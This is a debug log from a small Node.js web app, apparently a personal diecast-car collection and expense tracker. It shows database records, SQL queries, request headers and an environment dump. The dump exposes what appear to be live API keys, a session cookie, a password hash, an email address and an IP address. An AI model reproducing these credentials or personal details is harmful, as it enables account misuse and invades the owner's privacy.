      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-02-25T12:37:51.619Z server-connect:router Serving templateView /diecast-worksheet
2026-02-25T12:37:51.619Z server-connect:app Executing action step identify
2026-02-25T12:37:51.620Z server-connect:app options: { provider: 'security' }
2026-02-25T12:37:51.670Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2026-02-25T12:37:51.672Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-02-25T12:37:51.716Z server-connect:output identity: 1
2026-02-25T12:37:51.716Z server-connect:app Executing action step restrict
2026-02-25T12:37:51.716Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-25T12:37:51.717Z server-connect:output restrict: undefined
2026-02-25T12:37:51.717Z server-connect:router Render template layouts/main
2026-02-25T12:37:51.717Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"14e08-Q4zpHy5c6maHNHgkHz0rUeUZBAk"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-26T12:37:51.619Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-worksheet',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-worksheet',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"14e08-Q4zpHy5c6maHNHgkHz0rUeUZBAk"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast-worksheet'
}
2026-02-25T12:37:52.493Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-25T12:37:52.495Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-25T12:37:52.497Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-25T12:37:52.498Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-25T12:37:52.498Z server-connect:app Executing action step identify
2026-02-25T12:37:52.498Z server-connect:app options: { provider: 'security' }
2026-02-25T12:37:52.499Z server-connect:output identity: 1
2026-02-25T12:37:52.499Z server-connect:app Executing action step restrict
2026-02-25T12:37:52.499Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:37:52.501Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-25T12:37:52.501Z server-connect:output restrict: undefined
2026-02-25T12:37:52.501Z server-connect:app Executing action step select
2026-02-25T12:37:52.501Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-25T12:37:52.502Z server-connect:app Executing action step identify
2026-02-25T12:37:52.502Z server-connect:app options: { provider: 'security' }
2026-02-25T12:37:52.502Z server-connect:output identity: 1
2026-02-25T12:37:52.502Z server-connect:app Executing action step restrict
2026-02-25T12:37:52.502Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:37:52.505Z server-connect:app Executing action step identify
2026-02-25T12:37:52.505Z server-connect:app options: { provider: 'security' }
2026-02-25T12:37:52.505Z server-connect:output identity: 1
2026-02-25T12:37:52.505Z server-connect:app Executing action step restrict
2026-02-25T12:37:52.505Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:37:52.505Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-25T12:37:52.505Z server-connect:app Executing action step identify
2026-02-25T12:37:52.505Z server-connect:app options: { provider: 'security' }
2026-02-25T12:37:52.506Z server-connect:output identity: 1
2026-02-25T12:37:52.506Z server-connect:app Executing action step restrict
2026-02-25T12:37:52.506Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:37:52.507Z server-connect:app Executing action step identify
2026-02-25T12:37:52.507Z server-connect:app options: { provider: 'security' }
2026-02-25T12:37:52.507Z server-connect:output identity: 1
2026-02-25T12:37:52.507Z server-connect:app Executing action step restrict
2026-02-25T12:37:52.507Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:37:52.511Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-25T12:37:52.512Z server-connect:app Executing action step identify
2026-02-25T12:37:52.512Z server-connect:app options: { provider: 'security' }
2026-02-25T12:37:52.512Z server-connect:output identity: 1
2026-02-25T12:37:52.512Z server-connect:app Executing action step restrict
2026-02-25T12:37:52.512Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:37:52.514Z server-connect:output restrict: undefined
2026-02-25T12:37:52.514Z server-connect:app Executing action step single
2026-02-25T12:37:52.514Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-25T12:37:52.515Z server-connect:output restrict: undefined
2026-02-25T12:37:52.515Z server-connect:app Executing action step select
2026-02-25T12:37:52.515Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-25T12:37:52.516Z server-connect:output restrict: undefined
2026-02-25T12:37:52.516Z server-connect:app Executing action step select
2026-02-25T12:37:52.516Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-25T12:37:52.517Z server-connect:output restrict: undefined
2026-02-25T12:37:52.517Z server-connect:app Executing action step paged
2026-02-25T12:37:52.517Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-25T12:37:52.519Z server-connect:output restrict: undefined
2026-02-25T12:37:52.519Z server-connect:app Executing action step select
2026-02-25T12:37:52.519Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-25T12:37:52.520Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-25T12:37:52.522Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-25T12:37:52.524Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-25T12:37:52.527Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
